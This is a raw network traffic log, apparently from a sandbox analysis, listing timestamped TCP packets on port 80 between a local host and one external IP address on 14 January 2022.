Jan 14, 2022 04:59:02.467894077 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.467932940 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.467933893 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.467973948 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.468010902 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.468012094 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.468050957 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.468080997 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.468090057 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.468127012 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.468164921 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.468185902 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.468204021 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.468231916 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.468245029 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.468581915 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.524491072 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.524549007 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.524590015 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.524620056 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.524630070 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.524668932 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.524703026 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.524708986 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.524749041 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.524768114 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.524791002 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.524832010 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.524849892 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.524871111 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.524909973 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.524930000 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.524949074 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.524986029 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525008917 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.525024891 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525063038 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525099993 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.525100946 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525141954 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525160074 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.525178909 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525217056 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525243044 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.525254965 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525293112 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525312901 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.525331974 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525368929 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525391102 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.525408030 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525449991 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525460005 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.525489092 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525527954 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525566101 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525583029 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.525603056 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525639057 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.525643110 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525681973 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525707960 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.525722027 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525760889 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525784969 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.525798082 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525835991 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525856972 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.525912046 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525949955 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.525966883 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.525988102 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.526026011 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.526042938 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.526065111 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.526125908 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.582752943 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.582808018 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.582847118 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.582885981 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.582921982 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.582945108 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.582961082 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.582981110 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.583002090 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.583004951 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583045006 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583084106 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583121061 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583142996 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.583159924 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583167076 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.583199024 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583235025 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583272934 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583288908 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.583312035 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583329916 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.583350897 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583390951 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583427906 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.583429098 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583482027 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583496094 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.583520889 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583558083 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583595991 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583609104 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.583635092 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583643913 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.583674908 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583714962 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583751917 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583766937 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.583791971 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583797932 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.583832979 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583868027 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583905935 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583916903 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.583945036 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.583954096 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.583985090 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584023952 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584059954 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584072113 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.584099054 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584106922 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.584137917 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584172964 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584212065 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584224939 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.584249973 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584263086 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.584290028 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584328890 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584364891 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584378958 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.584414005 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.584414005 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584458113 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584492922 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584531069 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584543943 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.584569931 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.584604979 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.584608078 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.586666107 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.641640902 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.641697884 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.641737938 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.641762018 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.641779900 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.641819954 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.641849041 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.641894102 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.641935110 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.641971111 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.641974926 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642014980 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642020941 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.642055988 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642093897 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642132044 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642139912 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.642172098 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642179012 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.642209053 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642246962 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642266035 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.642286062 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642323017 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642360926 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642374992 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.642412901 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642416000 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.642451048 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642491102 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642529964 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642543077 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.642570019 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642584085 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.642610073 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642646074 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642684937 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642693043 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.642724991 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642731905 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.642761946 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642800093 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642837048 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642851114 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.642875910 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642887115 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.642916918 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642955065 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.642992020 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643001080 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.643032074 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643039942 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.643069983 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643107891 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643145084 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643160105 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.643183947 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643193960 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.643224955 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643261909 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643300056 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643307924 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.643340111 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643349886 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.643378973 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643418074 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643457890 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643466949 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.643497944 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643506050 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.643537998 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643574953 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.643624067 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.700229883 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700285912 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700417995 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700423956 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.700463057 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700503111 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700541973 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700567007 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.700582027 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700611115 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.700623035 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700664043 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700680017 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.700701952 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700743914 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700783014 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700803995 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.700823069 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700836897 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.700865984 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700905085 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700943947 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700958014 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.700984001 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.700998068 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.701023102 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701061010 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701098919 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701112032 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.701136112 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701149940 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.701164007 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701203108 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701241016 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701251030 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.701282024 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701288939 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.701318979 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701356888 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701395035 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701414108 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.701435089 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701447964 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.701476097 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701514006 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701553106 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701567888 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.701592922 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701602936 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.701631069 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701670885 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701708078 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701729059 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.701745987 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701761961 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.701785088 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701822042 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701872110 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.701890945 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701931953 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.701939106 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.701971054 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.702008009 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.702045918 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.702059031 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.702085018 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.702099085 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.702122927 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.702173948 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.702213049 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.702230930 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.702253103 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.702263117 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.747201920 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.760154963 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.760205984 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.760246038 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.760286093 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.760324955 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.760361910 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.760363102 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.760396957 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.760400057 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.760404110 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.760443926 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.760481119 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.760519028 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.760534048 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.760550022 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:02.760572910 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.760605097 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.760746002 CET	49756	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:02.820652962 CET	80	49756	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:04.100979090 CET	49757	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.157407999 CET	80	49757	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:04.158555984 CET	49757	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.158576965 CET	49757	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.158579111 CET	49757	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.215280056 CET	80	49757	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:04.240540028 CET	80	49757	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:04.240663052 CET	49757	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.240912914 CET	49757	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.290189028 CET	49758	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.297065020 CET	80	49757	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:04.346802950 CET	80	49758	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:04.346976995 CET	49758	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.347033978 CET	49758	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.347047091 CET	49758	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.403590918 CET	80	49758	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:04.428491116 CET	80	49758	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:04.428697109 CET	49758	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.428919077 CET	49758	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.458676100 CET	49759	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.485246897 CET	80	49758	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:04.514926910 CET	80	49759	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:04.515021086 CET	49759	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.515151024 CET	49759	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.515208006 CET	49759	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:04.571470022 CET	80	49759	94.142.143.91	192.168.2.3
